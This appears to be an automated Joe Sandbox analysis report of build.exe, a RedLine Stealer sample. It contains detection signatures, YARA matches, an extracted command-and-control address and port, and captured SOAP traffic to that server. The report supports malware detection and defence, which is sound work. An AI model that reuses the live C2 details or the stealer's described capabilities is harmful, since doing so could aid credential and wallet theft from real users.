Edit tour

Windows Analysis Report
build.exe

Overview

General Information

Sample name:	build.exe
Analysis ID:	1430694
MD5:	60e00124f9d54b2d423f02dc81b57127
SHA1:	a250651ba1f3eb72bcf0f24a31ff2a66b0a39959
SHA256:	ece58cdda5d85a7fe7d7262313b8041e3c988d814b7dd60f0468dbb7109596ba
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

build.exe (PID: 4040 cmdline: "C:\Users\user\Desktop\build.exe" MD5: 60E00124F9D54B2D423F02DC81B57127)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["91.92.252.220:1337"], "Bot Id": "cheat"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
build.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
build.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
build.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
build.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: build.exe PID: 4040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build.exe PID: 4040	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: build.exe PID: 4040	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x10b994:$a4: get_ScannedWallets 0x10a83b:$a5: get_ScanTelegram 0x10b61d:$a6: get_ScanGeckoBrowsersPaths 0x1094ce:$a7: <Processes>k__BackingField 0x106a01:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x108e02:$a9: <ScanFTP>k__BackingField
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.build.exe.b80000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.build.exe.b80000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.build.exe.b80000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.build.exe.b80000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: build.exe

Avira: detected

Found malware configuration

Source: build.exe

Malware Configuration Extractor: RedLine {"C2 url": ["91.92.252.220:1337"], "Bot Id": "cheat"}

Multi AV Scanner detection for domain / URL

Source: 91.92.252.220:1337	Virustotal: Detection: 10%	Perma Link
Source: http://91.92.252.220:1337/	Virustotal: Detection: 10%	Perma Link
Source: http://91.92.252.220:1337	Virustotal: Detection: 10%	Perma Link

Multi AV Scanner detection for submitted file

Source: build.exe	Virustotal: Detection: 81%			Perma Link
Source: build.exe	ReversingLabs: Detection: 86%

Machine Learning detection for sample

Source: build.exe

Joe Sandbox ML: detected

Source: build.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: build.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 91.92.252.220:1337

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49703

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 91.92.252.220:1337

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 91.92.252.220:1337Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 91.92.252.220:1337Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 91.92.252.220:1337Content-Length: 974207Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 91.92.252.220:1337Content-Length: 974199Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: THEZONEBG THEZONEBG

Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220
Source: unknown	TCP traffic detected without corresponding DNS query: 91.92.252.220

Source: unknown

DNS traffic detected: queries for: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 91.92.252.220:1337Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.252.220:1337
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.252.220:1337/
Source: build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.252.220:1337t-
Source: build.exe, 00000000.00000002.1424274746.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adob/1.0/
Source: build.exe, 00000000.00000002.1424274746.000000000152E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.0/xmp
Source: build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment.0HE
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: build.exe, 00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: build.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: build.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: build.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: build.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: build.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: build.exe PID: 4040, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_013BE7B0	0_2_013BE7B0
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_013BDC90	0_2_013BDC90
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067B4468	0_2_067B4468
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067B9620	0_2_067B9620
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067B1210	0_2_067B1210
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067B3320	0_2_067B3320
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067BF3E0	0_2_067BF3E0
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067BD108	0_2_067BD108
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067BDD00	0_2_067BDD00
Source: C:\Users\user\Desktop\build.exe	Code function: 0_2_067BF3D3	0_2_067BF3D3

Source: build.exe, 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs build.exe
Source: build.exe, 00000000.00000002.1423510111.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs build.exe
Source: build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs build.exe
Source: build.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs build.exe

Source: build.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: build.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: build.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: build.exe PID: 4040, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/47@1/1

Source: C:\Users\user\Desktop\build.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\build.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03

Source: C:\Users\user\Desktop\build.exe

File created: C:\Users\user\AppData\Local\Temp\tmp8E12.tmp

Jump to behavior

Source: build.exe

